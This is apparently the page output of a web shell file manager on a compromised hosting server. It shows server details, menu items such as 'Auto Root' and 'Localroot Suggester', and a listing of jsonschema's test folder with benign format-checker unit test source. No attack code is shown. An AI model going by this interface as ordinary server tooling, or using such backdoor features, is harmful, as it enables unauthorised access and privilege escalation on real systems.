Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.50
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
jsonschema /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2024-02-12 23:54
__init__.py
0
B
-rw-r--r--
2015-07-24 21:41
compat.py
215
B
-rw-r--r--
2015-07-24 21:41
test_cli.py
4.26
KB
-rw-r--r--
2016-11-27 15:45
test_exceptions.py
13.51
KB
-rw-r--r--
2016-11-27 16:22
test_format.py
2.1
KB
-rw-r--r--
2016-11-27 15:49
test_jsonschema_test_suite.py
9.41
KB
-rw-r--r--
2019-11-24 18:37
test_validators.py
33.98
KB
-rw-r--r--
2017-01-26 18:18
Save
Rename
""" Tests for the parts of jsonschema related to the :validator:`format` property. """ from jsonschema.tests.compat import mock, unittest from jsonschema import FormatError, ValidationError, FormatChecker from jsonschema.validators import Draft4Validator class TestFormatChecker(unittest.TestCase): def setUp(self): self.fn = mock.Mock() def test_it_can_validate_no_formats(self): checker = FormatChecker(formats=()) self.assertFalse(checker.checkers) def test_it_raises_a_key_error_for_unknown_formats(self): with self.assertRaises(KeyError): FormatChecker(formats=["o noes"]) def test_it_can_register_cls_checkers(self): with mock.patch.dict(FormatChecker.checkers, clear=True): FormatChecker.cls_checks("new")(self.fn) self.assertEqual(FormatChecker.checkers, {"new": (self.fn, ())}) def test_it_can_register_checkers(self): checker = FormatChecker() checker.checks("new")(self.fn) self.assertEqual( checker.checkers, dict(FormatChecker.checkers, new=(self.fn, ())) ) def test_it_catches_registered_errors(self): checker = FormatChecker() cause = self.fn.side_effect = ValueError() checker.checks("foo", raises=ValueError)(self.fn) with self.assertRaises(FormatError) as cm: checker.check("bar", "foo") self.assertIs(cm.exception.cause, cause) self.assertIs(cm.exception.__cause__, cause) # Unregistered errors should not be caught self.fn.side_effect = AttributeError with self.assertRaises(AttributeError): checker.check("bar", "foo") def test_format_error_causes_become_validation_error_causes(self): checker = FormatChecker() checker.checks("foo", raises=ValueError)(self.fn) cause = self.fn.side_effect = ValueError() validator = Draft4Validator({"format": "foo"}, format_checker=checker) with self.assertRaises(ValidationError) as cm: validator.validate("bar") self.assertIs(cm.exception.__cause__, cause)